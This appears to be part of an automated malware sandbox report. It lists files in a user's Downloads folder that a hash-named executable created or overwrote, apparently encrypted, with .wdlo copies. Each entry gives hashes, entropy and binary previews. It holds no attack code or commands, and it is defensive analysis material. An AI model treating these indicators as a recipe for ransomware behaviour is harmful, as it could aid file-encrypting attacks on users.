C:\Users\user\Downloads\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853993713498804
Encrypted:	false
SSDEEP:	24:YGoYMUke7dM7fQCEXpzEVFND2pggTRHDtI0YBvtH9sdm+wf265pyF//2y0N/m1hz:NoYM2dHppqFNDYHD8tHCwuckFWy0N/m/
MD5:	5C260853458593218B81DC209494AF81
SHA1:	594809E004096E672D1D2AF44FFC2B2365CD4A12
SHA-256:	7DD29011E6E90E6665F9B8644D6BE8F9648F82614DFB90E144BC9D84E8DDB3C0
SHA-512:	187D7501C15112579D0A3E5789C3CCD28FD760B5383449D7D2A050B0CA208C0BCE5E48325BA30EB74D30C9D02A28BDA9D42F9A541359563A3C113366A94DFB85
Malicious:	false
Preview:	GRXZD.c8Mc...IFQMU..K....Jp...{..b...Y.........`......zU&.f...^W......h.n......;.v.lg...'..!..6j..\w;uJ+e...f......Q.>U.S..u.O..).m....Q.u...)wa..........8.]....n a.q....SM.z..E.=W+.U.~;..R.....j...DQR...g.....,...y.-.S.h.=......l.WT...8w.w<=..v.u.j..)._..x...H...4F..^.[.O5:...j.[.vb..S...Q.s:..+....b.....80..k:.Z......2w.L.....nJkf.....H<..$#.$b.&..8.i'...4....".m?r...9jo.B5.Z.....MK.u.L.N-...dX.C...v.!V..l.k.f..........R l.._.";..bN..#......C....F......4j....h..@...&....8...4.Z..,A\NVLY.x.<~..t.....x.i.,..^........Fb...c.....2;....G...bA.k#w,Y..P.....O@..`.......e..l7...<45..(@dP.f.0x.Y.......Mg..I4..wI1Uns.tL&.=...~ ......7.:.1....E...l.......o<....P..j_U/0.f...I_L..`67...2.2..wD..L..0......O..:R=.~.^..7.\.C8..(l....k......2_.+......@.@..%.8..L)...T..^...~ie".Q....j...4H....GB0.@ZB}.$o.!4<..I.........7<...D..*5..6.1...a..{.d.w.>....._..~.R/E.W.[.$.a./.4..!....xm....M2..NA.,...$&1}...i.=.....+.I..yn..&.@%.............A(

C:\Users\user\Downloads\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853993713498804
Encrypted:	false
SSDEEP:	24:YGoYMUke7dM7fQCEXpzEVFND2pggTRHDtI0YBvtH9sdm+wf265pyF//2y0N/m1hz:NoYM2dHppqFNDYHD8tHCwuckFWy0N/m/
MD5:	5C260853458593218B81DC209494AF81
SHA1:	594809E004096E672D1D2AF44FFC2B2365CD4A12
SHA-256:	7DD29011E6E90E6665F9B8644D6BE8F9648F82614DFB90E144BC9D84E8DDB3C0
SHA-512:	187D7501C15112579D0A3E5789C3CCD28FD760B5383449D7D2A050B0CA208C0BCE5E48325BA30EB74D30C9D02A28BDA9D42F9A541359563A3C113366A94DFB85
Malicious:	false
Preview:	GRXZD.c8Mc...IFQMU..K....Jp...{..b...Y.........`......zU&.f...^W......h.n......;.v.lg...'..!..6j..\w;uJ+e...f......Q.>U.S..u.O..).m....Q.u...)wa..........8.]....n a.q....SM.z..E.=W+.U.~;..R.....j...DQR...g.....,...y.-.S.h.=......l.WT...8w.w<=..v.u.j..)._..x...H...4F..^.[.O5:...j.[.vb..S...Q.s:..+....b.....80..k:.Z......2w.L.....nJkf.....H<..$#.$b.&..8.i'...4....".m?r...9jo.B5.Z.....MK.u.L.N-...dX.C...v.!V..l.k.f..........R l.._.";..bN..#......C....F......4j....h..@...&....8...4.Z..,A\NVLY.x.<~..t.....x.i.,..^........Fb...c.....2;....G...bA.k#w,Y..P.....O@..`.......e..l7...<45..(@dP.f.0x.Y.......Mg..I4..wI1Uns.tL&.=...~ ......7.:.1....E...l.......o<....P..j_U/0.f...I_L..`67...2.2..wD..L..0......O..:R=.~.^..7.\.C8..(l....k......2_.+......@.@..%.8..L)...T..^...~ie".Q....j...4H....GB0.@ZB}.$o.!4<..I.........7<...D..*5..6.1...a..{.d.w.>....._..~.R/E.W.[.$.a./.4..!....xm....M2..NA.,...$&1}...i.=.....+.I..yn..&.@%.............A(

C:\Users\user\Downloads\HMPPSXQPQV.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836552763035885
Encrypted:	false
SSDEEP:	24:Gv+9Bwjs1c+ZFwJgTy0uozCK+ZaSBzR6mDda9sU0h6U5W+n3zbD:BY8ffuozgkSBzrRaKj6YWK3nD
MD5:	6DAABF46BC260C6ED3C3E4F48C52F332
SHA1:	EE598F396825A61FE1BA6F45C6B0CE9B23C6DFCA
SHA-256:	9A17F381F26C54A9FD8EE8F7EBA16B802BE3ADC166570EDF2043EBBFFAB1004B
SHA-512:	DA3FC5D160B5D84E85A321C9B584DB1F72A0EC64C1140A6AE8127F85CA131E0740DAF0E4DD6C06A9CA3927085BE5B9CFF4D8F0AE10A9682D39F25D032088D341
Malicious:	false
Preview:	HMPPSo.....]Rh..u.zx=^...>.L......1..K.Q..x..^U....7 ...+f#..'.3J..b.'.w.I.9w.A.&..W.h)...m.E4Z...VE.q.....'....>..._....X....X.}.].mVU...+...wex...).+c{YQxC..'5a#7 ...>..U.j.%o<92...}.C... ..x~.....t.u(G.M.T.G=...X.R....e...U.5...h.F...g.>.=..m.J...}.?9y.;... ....%7...>...C....a^...`..nan.=Q<.jMev...7.....!P._..CE{p$.c..1..r^....7g....;..W..5q.=sy.>.-....Y.iQ..:..8.r[...L.....I~.z...j...r.`~c...,l.0\|..g^..z!../..y.8.8S..u0...{.N...q...,...~...H6}.i..Ru.2.s>.oY.s....~..>.S.s... ...o.n#....y.........2&L5c5w...R!L....L.....fA.........M.<.......k.h.^..N.VS'.~V.....9.)..$ .i--@..g......D..7[.M.\|...>....^....;;+...{..A. .....qi.M%....]=^.}t....g..~m.0....r......H.TA...k.U.{>.[.s{7.t..!...Ex.7].e..q\|.....L.3..M1..1..9..S...bOuu:....7G%U&.5.(>..........$.V.:...Gq..@......S\|..=.R.FV].N..M...&n.j..C,9....y.....N....l.z'.L0.t.# }.#... .$.F..x&...G.E..].6t=.v.SQI..A...<..V%.^..do......).S...4.....Ny.P.c.......gO6.&.#.u.(..\g..............}..

C:\Users\user\Downloads\HMPPSXQPQV.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836552763035885
Encrypted:	false
SSDEEP:	24:Gv+9Bwjs1c+ZFwJgTy0uozCK+ZaSBzR6mDda9sU0h6U5W+n3zbD:BY8ffuozgkSBzrRaKj6YWK3nD
MD5:	6DAABF46BC260C6ED3C3E4F48C52F332
SHA1:	EE598F396825A61FE1BA6F45C6B0CE9B23C6DFCA
SHA-256:	9A17F381F26C54A9FD8EE8F7EBA16B802BE3ADC166570EDF2043EBBFFAB1004B
SHA-512:	DA3FC5D160B5D84E85A321C9B584DB1F72A0EC64C1140A6AE8127F85CA131E0740DAF0E4DD6C06A9CA3927085BE5B9CFF4D8F0AE10A9682D39F25D032088D341
Malicious:	false
Preview:	HMPPSo.....]Rh..u.zx=^...>.L......1..K.Q..x..^U....7 ...+f#..'.3J..b.'.w.I.9w.A.&..W.h)...m.E4Z...VE.q.....'....>..._....X....X.}.].mVU...+...wex...).+c{YQxC..'5a#7 ...>..U.j.%o<92...}.C... ..x~.....t.u(G.M.T.G=...X.R....e...U.5...h.F...g.>.=..m.J...}.?9y.;... ....%7...>...C....a^...`..nan.=Q<.jMev...7.....!P._..CE{p$.c..1..r^....7g....;..W..5q.=sy.>.-....Y.iQ..:..8.r[...L.....I~.z...j...r.`~c...,l.0\|..g^..z!../..y.8.8S..u0...{.N...q...,...~...H6}.i..Ru.2.s>.oY.s....~..>.S.s... ...o.n#....y.........2&L5c5w...R!L....L.....fA.........M.<.......k.h.^..N.VS'.~V.....9.)..$ .i--@..g......D..7[.M.\|...>....^....;;+...{..A. .....qi.M%....]=^.}t....g..~m.0....r......H.TA...k.U.{>.[.s{7.t..!...Ex.7].e..q\|.....L.3..M1..1..9..S...bOuu:....7G%U&.5.(>..........$.V.:...Gq..@......S\|..=.R.FV].N..M...&n.j..C,9....y.....N....l.z'.L0.t.# }.#... .$.F..x&...G.E..].6t=.v.SQI..A...<..V%.^..do......).S...4.....Ny.P.c.......gO6.&.#.u.(..\g..............}..

C:\Users\user\Downloads\KLIZUSIQEN.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862344394344694
Encrypted:	false
SSDEEP:	24:bc3IxX7SStzEsBYioN5AXvurGhjTbc7p6bOAPdrwGF29Gd3zbD:5X7/qXiwqAGhjK6bOAP+GF29g3nD
MD5:	DAD503AD6100F3C49874EF547C41FF3E
SHA1:	509E77839161EF0C8D3DD0DB0612DD60DD1E215E
SHA-256:	5C884E6F75D416125118BEACF7B1676627530991542D254CE91253F9F089C389
SHA-512:	9328B6FF5D70E7DDC9A257562454021B4ECD9C51DFA39E07F29F1E858E0CC01BA873763D7E1F253C944D59B1B7BD18B44B4559A531C243CEA274FD68B9F53A86
Malicious:	false
Preview:	KLIZU5s..,[..gSym.m6\|T..r.h.Z...MngC....{..xbd..;.;@.YB....,y/..8}V..k.....Zi@TE....................j....U..0..4...q]-...=....,....yE...#...\.R#..S..gD...+.........q..e..w...n].&.%..........R......w[.k....{....DI.!......."..,`.?....$WSL4.t.#..g....-...~..7`.3.T...<.S.<h60aS..GNY..D....HpX.K...S.aC.^j.6v/.,S..wpq.C.KSH..t..i.P........a...(#...$Z.B..W..}C.4...2.N!.4.k..Q..n..4..\....&."...O.3.#...(........G.eD..:0m.^.>..)...w..4...]...%..J.a.....aX[.@...%<.h....k.j..`...C...AP.....al}r....mN...H.Yx.i..'..1+k.).:..\|.:k!.6+..#G..q_....!.eP.>V'.%.....3Yw.._m.t..U.z;............J.g...c.xd....[..b..>..W\|.l.N..WG...^...g.....1.SjS[...:.=#....7..B.z..0.X.A... .\l...%.......I...4.1........l9w....[...!.x.`..c..{9...Fb.......}.Ejg.`....'....O...$..l0s..h.R...?...n.\uY......*.V...L....:...;n..y.!.....][.8@n-.u....{.4H..;R....4.<]...+....(...'tO....+.4z.Pb..5c....e...2..@b?...&Nu.:@&.,......Iw....?.....x...R)..v...H.)xrm.]...L.....?J.Eh?.3.H=Qz....

C:\Users\user\Downloads\KLIZUSIQEN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862344394344694
Encrypted:	false
SSDEEP:	24:bc3IxX7SStzEsBYioN5AXvurGhjTbc7p6bOAPdrwGF29Gd3zbD:5X7/qXiwqAGhjK6bOAP+GF29g3nD
MD5:	DAD503AD6100F3C49874EF547C41FF3E
SHA1:	509E77839161EF0C8D3DD0DB0612DD60DD1E215E
SHA-256:	5C884E6F75D416125118BEACF7B1676627530991542D254CE91253F9F089C389
SHA-512:	9328B6FF5D70E7DDC9A257562454021B4ECD9C51DFA39E07F29F1E858E0CC01BA873763D7E1F253C944D59B1B7BD18B44B4559A531C243CEA274FD68B9F53A86
Malicious:	false
Preview:	KLIZU5s..,[..gSym.m6\|T..r.h.Z...MngC....{..xbd..;.;@.YB....,y/..8}V..k.....Zi@TE....................j....U..0..4...q]-...=....,....yE...#...\.R#..S..gD...+.........q..e..w...n].&.%..........R......w[.k....{....DI.!......."..,`.?....$WSL4.t.#..g....-...~..7`.3.T...<.S.<h60aS..GNY..D....HpX.K...S.aC.^j.6v/.,S..wpq.C.KSH..t..i.P........a...(#...$Z.B..W..}C.4...2.N!.4.k..Q..n..4..\....&."...O.3.#...(........G.eD..:0m.^.>..)...w..4...]...%..J.a.....aX[.@...%<.h....k.j..`...C...AP.....al}r....mN...H.Yx.i..'..1+k.).:..\|.:k!.6+..#G..q_....!.eP.>V'.%.....3Yw.._m.t..U.z;............J.g...c.xd....[..b..>..W\|.l.N..WG...^...g.....1.SjS[...:.=#....7..B.z..0.X.A... .\l...%.......I...4.1........l9w....[...!.x.`..c..{9...Fb.......}.Ejg.`....'....O...$..l0s..h.R...?...n.\uY......*.V...L....:...;n..y.!.....][.8@n-.u....{.4H..;R....4.<]...+....(...'tO....+.4z.Pb..5c....e...2..@b?...&Nu.:@&.,......Iw....?.....x...R)..v...H.)xrm.]...L.....?J.Eh?.3.H=Qz....

C:\Users\user\Downloads\KLIZUSIQEN.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8575491725516775
Encrypted:	false
SSDEEP:	24:beLWqyf6J2tpyozl/sTO0WdzrdBhyIurjBsCrqb2YoZ3zbD:yLA7rzlWczrdBEIuUb/oZ3nD
MD5:	5A7E16A7FDEB7FBAE887E048A50A727E
SHA1:	5032D734CB2748EAB893B15F9A7671AAF5255BB0
SHA-256:	6E56767875244296CB3E94D954FC45646C76DF2FD69152D6D3A46BA5375EA0E6
SHA-512:	FBBC6CF71C27DCFF6E80D227D03102864C5A691324730A6C8C9907B8C876AF483CF78E136700804207A6E856D764C1F1F2F0FF4C0C07D82742DC92CFD142CF08
Malicious:	false
Preview:	KLIZU.`....)G..#...)...[..k"...\|.b..+.gl.}:..h6..0I.i8.T......nO.^...\|5..5=...w..y...39.M{..1.u.....G+b.7N.:=....f=:.......H.OA.....Xa..N.y......O..7.:E.{...Q..%@.w..Q'..z0.....y..t....j .Rv....]..?..1...BkX.=}!..+.FL2)......9w..N.....=..Y....SnA.?~>....E\.Cn.....V.....Zs..<.u...V....F....w.....2..5.4L.d.....k..G98M.v"....B.i\..O..a..x...%..LGDh.....9L.Dk../a..}....`t.E..f.m...,.n.'....E(..l3.)....e.[2...s..a.i.@..#....c..ZK,.....q.J........ ....c_.I....2.(..H.N2.n7..tT..a$.z.kJ.....4,..D..V$..sML.F.M%q..\..OL...&..XZ..c1...Yh...*ba.......a0.,.,.f..c..N.....D.v.....N..s.(...........;...:1......W.u.....$..3...=bQ.(4n.SK.gi...........x.{c..#...Zi.....c .'.../...4..4.\R..!j.kf.E>F..x.K..r..&.e........\49.7..&..a..+}.a1.O....lm.tA.V+..d.1g.@^..A...p(... .......En........_...a...@...[.1.e.}..x.. 6.._.[..........{.S..j..t.M....u...[.]O....t.?$..\|../..=%C ..1..4..MB<{..UE..!....s.w.B.\|.._..w..E..6-..t.p...."..W..J...~.....l.8z...V.]^.ZU.E.sJ...Z.P.>

C:\Users\user\Downloads\KLIZUSIQEN.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8575491725516775
Encrypted:	false
SSDEEP:	24:beLWqyf6J2tpyozl/sTO0WdzrdBhyIurjBsCrqb2YoZ3zbD:yLA7rzlWczrdBEIuUb/oZ3nD
MD5:	5A7E16A7FDEB7FBAE887E048A50A727E
SHA1:	5032D734CB2748EAB893B15F9A7671AAF5255BB0
SHA-256:	6E56767875244296CB3E94D954FC45646C76DF2FD69152D6D3A46BA5375EA0E6
SHA-512:	FBBC6CF71C27DCFF6E80D227D03102864C5A691324730A6C8C9907B8C876AF483CF78E136700804207A6E856D764C1F1F2F0FF4C0C07D82742DC92CFD142CF08
Malicious:	false
Preview:	KLIZU.`....)G..#...)...[..k"...\|.b..+.gl.}:..h6..0I.i8.T......nO.^...\|5..5=...w..y...39.M{..1.u.....G+b.7N.:=....f=:.......H.OA.....Xa..N.y......O..7.:E.{...Q..%@.w..Q'..z0.....y..t....j .Rv....]..?..1...BkX.=}!..+.FL2)......9w..N.....=..Y....SnA.?~>....E\.Cn.....V.....Zs..<.u...V....F....w.....2..5.4L.d.....k..G98M.v"....B.i\..O..a..x...%..LGDh.....9L.Dk../a..}....`t.E..f.m...,.n.'....E(..l3.)....e.[2...s..a.i.@..#....c..ZK,.....q.J........ ....c_.I....2.(..H.N2.n7..tT..a$.z.kJ.....4,..D..V$..sML.F.M%q..\..OL...&..XZ..c1...Yh...*ba.......a0.,.,.f..c..N.....D.v.....N..s.(...........;...:1......W.u.....$..3...=bQ.(4n.SK.gi...........x.{c..#...Zi.....c .'.../...4..4.\R..!j.kf.E>F..x.K..r..&.e........\49.7..&..a..+}.a1.O....lm.tA.V+..d.1g.@^..A...p(... .......En........_...a...@...[.1.e.}..x.. 6.._.[..........{.S..j..t.M....u...[.]O....t.?$..\|../..=%C ..1..4..MB<{..UE..!....s.w.B.\|.._..w..E..6-..t.p...."..W..J...~.....l.8z...V.]^.ZU.E.sJ...Z.P.>

C:\Users\user\Downloads\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83765699802533
Encrypted:	false
SSDEEP:	24:bUERaX+517kIjMeZfe3tgiAeG/vo5q0wE/lije2q70rThhqGgQzjMJDzMD3zbD:wERaX017kIwn6fg5/wE9ukGThnMti3nD
MD5:	93B05F55BE29AF994C10E989E17DA564
SHA1:	F5B3A206785CA0EF4FD94BF7D5A81F038AAA6904
SHA-256:	8787460698A2D4F488C3D03D50D6F1FACCA5D815A7A9E21F1EBDE72014AE1172
SHA-512:	DDE6E9F4ECAD80AA5899A7F25A4D56E0F7C81A5B83276EB6BC34A6CBD21E4F5504A2390A23F5BF3B2E3DF065182D47974E3BAF9B2EFE5D05E24692B28CCAE58C
Malicious:	false
Preview:	KLIZU....o!.s..Z.8lI..-..S...1.j.4.8..AUc9`[...n.Px..[..h8i.\.I....n....=c.D.7.I.xe.......o..........KiC:....kW.a....H........l.\|....<.Z//c.P.....E#7_6/O.......\|..Y..`.G^.G..._.[.Y.=(.TfT"g...Z .....t.Ck..D\./.c"..&...46..yo.....IH.}.K....w..jx.r..i.1...Y...;X..,.ID..7.D...........X..u.8U..$..z....x......@+.U../..e.....V(8E..J..Q.....+.1>...e-.....t(..{"..xq.S...... #R8r...O..2.p.M.e51..U.o.L.}+..{.z..k......9.....=..Y......Y.o.K...'.E}....TO.>.+....4...B%MV.5.....9...Tuy....UC..> `...q..$.2.7.U]..e.;..a.aEeR.z..{..C09....r..@.+p..O.7.xS\..?1M.....4.4...K;E.D...lHK.>k...r...GD.<..s..%.a...=}$.>6R..s..S..o .h.z.a+R.mmc...X.SA.j..9.a.....$.s&O.e.g..8s..W.Q.\....I.li.g.}p.;.........K%.,...b}/!..r.....$mj.....M.tL.H.......0.~.......\|..nz..gx..+(..\|;7Xm...#..yj...^J.&j.......Z....M....p.E..EZ....\]pbo......f.....n..Pz.....^..V..h.wt.u.].pyQ...z.....v.....f.'.v.....u. k.........:.b..K..YX...g;...U...........^...`..F....F...bF.v..+I.Z.x'

C:\Users\user\Downloads\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83765699802533
Encrypted:	false
SSDEEP:	24:bUERaX+517kIjMeZfe3tgiAeG/vo5q0wE/lije2q70rThhqGgQzjMJDzMD3zbD:wERaX017kIwn6fg5/wE9ukGThnMti3nD
MD5:	93B05F55BE29AF994C10E989E17DA564
SHA1:	F5B3A206785CA0EF4FD94BF7D5A81F038AAA6904
SHA-256:	8787460698A2D4F488C3D03D50D6F1FACCA5D815A7A9E21F1EBDE72014AE1172
SHA-512:	DDE6E9F4ECAD80AA5899A7F25A4D56E0F7C81A5B83276EB6BC34A6CBD21E4F5504A2390A23F5BF3B2E3DF065182D47974E3BAF9B2EFE5D05E24692B28CCAE58C
Malicious:	false
Preview:	KLIZU....o!.s..Z.8lI..-..S...1.j.4.8..AUc9`[...n.Px..[..h8i.\.I....n....=c.D.7.I.xe.......o..........KiC:....kW.a....H........l.\|....<.Z//c.P.....E#7_6/O.......\|..Y..`.G^.G..._.[.Y.=(.TfT"g...Z .....t.Ck..D\./.c"..&...46..yo.....IH.}.K....w..jx.r..i.1...Y...;X..,.ID..7.D...........X..u.8U..$..z....x......@+.U../..e.....V(8E..J..Q.....+.1>...e-.....t(..{"..xq.S...... #R8r...O..2.p.M.e51..U.o.L.}+..{.z..k......9.....=..Y......Y.o.K...'.E}....TO.>.+....4...B%MV.5.....9...Tuy....UC..> `...q..$.2.7.U]..e.;..a.aEeR.z..{..C09....r..@.+p..O.7.xS\..?1M.....4.4...K;E.D...lHK.>k...r...GD.<..s..%.a...=}$.>6R..s..S..o .h.z.a+R.mmc...X.SA.j..9.a.....$.s&O.e.g..8s..W.Q.\....I.li.g.}p.;.........K%.,...b}/!..r.....$mj.....M.tL.H.......0.~.......\|..nz..gx..+(..\|;7Xm...#..yj...^J.&j.......Z....M....p.E..EZ....\]pbo......f.....n..Pz.....^..V..h.wt.u.].pyQ...z.....v.....f.'.v.....u. k.........:.b..K..YX...g;...U...........^...`..F....F...bF.v..+I.Z.x'

C:\Users\user\Downloads\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847467695908497
Encrypted:	false
SSDEEP:	24:FaMchO9Bl3fOTGQSWrZGkrRbXntVzRzEqOSs6O3i8wvQMxYvCM3q5+nT3zbD:FchO93fOqWrj5ntnz4T7wvId6E3nD
MD5:	3B5A9F9410CC02CA32057AA1357AC2E1
SHA1:	D2952199D849B5FD3CB15974CCB34F534AF23421
SHA-256:	8541D9691F04A647A6F5AF4475D522F6407F89618ADE54AF629FCD8818626E2A
SHA-512:	E7A0D947ACA8B7453A545087030293489AF8FDF1DF596513F57C5AB316E38322176397D1BAC9E05022B14B7FC2C69E4C9C6595A5A715E1C965AB05946DC7342C
Malicious:	false
Preview:	NVWZA.jU..X......d#.n.D..R..5.e.a;.].....!T.%..c.5..{P..7....&.#.s7;...@.!~l..v....l..l.r...l.f.......'....g.t`...l%...>.z.].q.[j..a,.gcYE......&t;i..R.A-.O...w..y..<.%..v.........PCd..8&.+.DG..~...._.g..<{F.>.....j$....p=)..\&.'v.{.....A...N.sVb.JA....i...G..5..f1.....IH....f_.;0.U..U.4\..Oa...7.o....z..'.XD.....{\..Fc.gU..'....j.f...n'..I.@.x.u...b..<X._k.1.DS._...U7V.]:..l...)..?.g.Z.......9..8b..A.].E....8...a.s#-y=n5...L.h....9[.g..^v.S.K....G......^..3..bk..:.2....v...[.Q".y.6[..2 6r.I.5K..>+....-O...}a..O(;u./..`^..hU.fx...H.... .<....{-;.<..-\n.B.k..&v..Sf...((...]N3......-.?...../..G.."..'.B.....q...._..g.o..a%....mo..u.]v>...x....].K.q.D.]P..u........J.^........\|....3.u.....w..8].Hr.Z...2..w$.N....aD.............%.....0..b......!./.....[zv.T....a.3...A.^.d.=.]..oH.O.9.......$./...]b.....S...db....h..l.[Bd....E..#.2/...[.W.A........X;..(.......3m70P_pTq..]A{<F....d..JZN.(.?.._.a..CU...}.p..S....y.x....5.....b3 .....Db..:...

C:\Users\user\Downloads\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847467695908497
Encrypted:	false
SSDEEP:	24:FaMchO9Bl3fOTGQSWrZGkrRbXntVzRzEqOSs6O3i8wvQMxYvCM3q5+nT3zbD:FchO93fOqWrj5ntnz4T7wvId6E3nD
MD5:	3B5A9F9410CC02CA32057AA1357AC2E1
SHA1:	D2952199D849B5FD3CB15974CCB34F534AF23421
SHA-256:	8541D9691F04A647A6F5AF4475D522F6407F89618ADE54AF629FCD8818626E2A
SHA-512:	E7A0D947ACA8B7453A545087030293489AF8FDF1DF596513F57C5AB316E38322176397D1BAC9E05022B14B7FC2C69E4C9C6595A5A715E1C965AB05946DC7342C
Malicious:	false
Preview:	NVWZA.jU..X......d#.n.D..R..5.e.a;.].....!T.%..c.5..{P..7....&.#.s7;...@.!~l..v....l..l.r...l.f.......'....g.t`...l%...>.z.].q.[j..a,.gcYE......&t;i..R.A-.O...w..y..<.%..v.........PCd..8&.+.DG..~...._.g..<{F.>.....j$....p=)..\&.'v.{.....A...N.sVb.JA....i...G..5..f1.....IH....f_.;0.U..U.4\..Oa...7.o....z..'.XD.....{\..Fc.gU..'....j.f...n'..I.@.x.u...b..<X._k.1.DS._...U7V.]:..l...)..?.g.Z.......9..8b..A.].E....8...a.s#-y=n5...L.h....9[.g..^v.S.K....G......^..3..bk..:.2....v...[.Q".y.6[..2 6r.I.5K..>+....-O...}a..O(;u./..`^..hU.fx...H.... .<....{-;.<..-\n.B.k..&v..Sf...((...]N3......-.?...../..G.."..'.B.....q...._..g.o..a%....mo..u.]v>...x....].K.q.D.]P..u........J.^........\|....3.u.....w..8].Hr.Z...2..w$.N....aD.............%.....0..b......!./.....[zv.T....a.3...A.^.d.=.]..oH.O.9.......$./...]b.....S...db....h..l.[Bd....E..#.2/...[.W.A........X;..(.......3m70P_pTq..]A{<F....d..JZN.(.?.._.a..CU...}.p..S....y.x....5.....b3 .....Db..:...

C:\Users\user\Downloads\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844083611464274
Encrypted:	false
SSDEEP:	24:Pr9zIqbOq1W+wt6+oGjvdCLabaLxGK0kx4YhtxI7z5grrYuH/JMbWJxx3zbD:Pr9jbk+G6xGDA2u1394YKBgrsB8x3nD
MD5:	EBA3E4EB57771196A356C856C80930DA
SHA1:	18B986E6E697DDDDBC3ADA9FEC0FF8B2D4FF944B
SHA-256:	6A37468091A374F4A48E56789D7D2B4AED907ED8BF9CFC6F144F90AAE623D7F3
SHA-512:	18CCA720AB6EEBC3ECC49CCA1BFD092CE228855CAF736C1A102CAC7FF34B746B8D09F6A27AE9E1647BC096C08BACB9310F42F8B08BD75EDAF9B7D0436325A9FC
Malicious:	false
Preview:	NWCXB.I....].!e.l..............@.RH..V..X#zY~..)...aB...mg6.v.m`..sj(.\|@.UY...}..t..7IG...v.......n.0....."ZV#..}...l..![i..-OF.......6....Z...@...R.C%c..h.{.4(.,...i.N..S^..)y\.=...C..n..MXx..5..E-...{)......_(.6 .nL8.B..k.:...Vw;A......HDuQ.f.g,L......^...OHBses7=.f....../. .~b.@...$.M..5.,......\|.R......9.....@..QF..@..1.'?.B...+=.[....T.W3.'...0FJ.... ...~.4r..}.`v.k..Os...=.../.P..+.>..q2......Vhv......pf..#C...$.7.H'f".Y...UN_4p.c..)..~..$_.Te......"]... .".'.9W..`....a.......1..gq....q!C!.mWWp..>...l.fO~...`S...E....;.1..z.{.fD\..$}..[#F5D8....!.FU..M..4...%Z....`.k`.......PUmJ.w!.3/.u..0Q.S.S.t.0+....d.).:.@NF...t)......y.M..G..5r.&..,O\|............8..Hb...r......kjjN..........=C1....'q=..4.Gz...Dk...C.....r.]?...J-.p..k.........#.SL.s".V.E.)..(...j...(.../tg.x6y.%.oL.H...8IP.-...P.!..x;D..`..=FS...`\S.C.o.n'lx......s..F.Vi8....xv3Z..Q...IF.ly...W-..4*.PA...V....Vi%.....l...~....?..g,.r.<...r8...p5...]....1Z........a.M.d......A..M.Yn".

C:\Users\user\Downloads\NWCXBPIUYI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844083611464274
Encrypted:	false
SSDEEP:	24:Pr9zIqbOq1W+wt6+oGjvdCLabaLxGK0kx4YhtxI7z5grrYuH/JMbWJxx3zbD:Pr9jbk+G6xGDA2u1394YKBgrsB8x3nD
MD5:	EBA3E4EB57771196A356C856C80930DA
SHA1:	18B986E6E697DDDDBC3ADA9FEC0FF8B2D4FF944B
SHA-256:	6A37468091A374F4A48E56789D7D2B4AED907ED8BF9CFC6F144F90AAE623D7F3
SHA-512:	18CCA720AB6EEBC3ECC49CCA1BFD092CE228855CAF736C1A102CAC7FF34B746B8D09F6A27AE9E1647BC096C08BACB9310F42F8B08BD75EDAF9B7D0436325A9FC
Malicious:	false
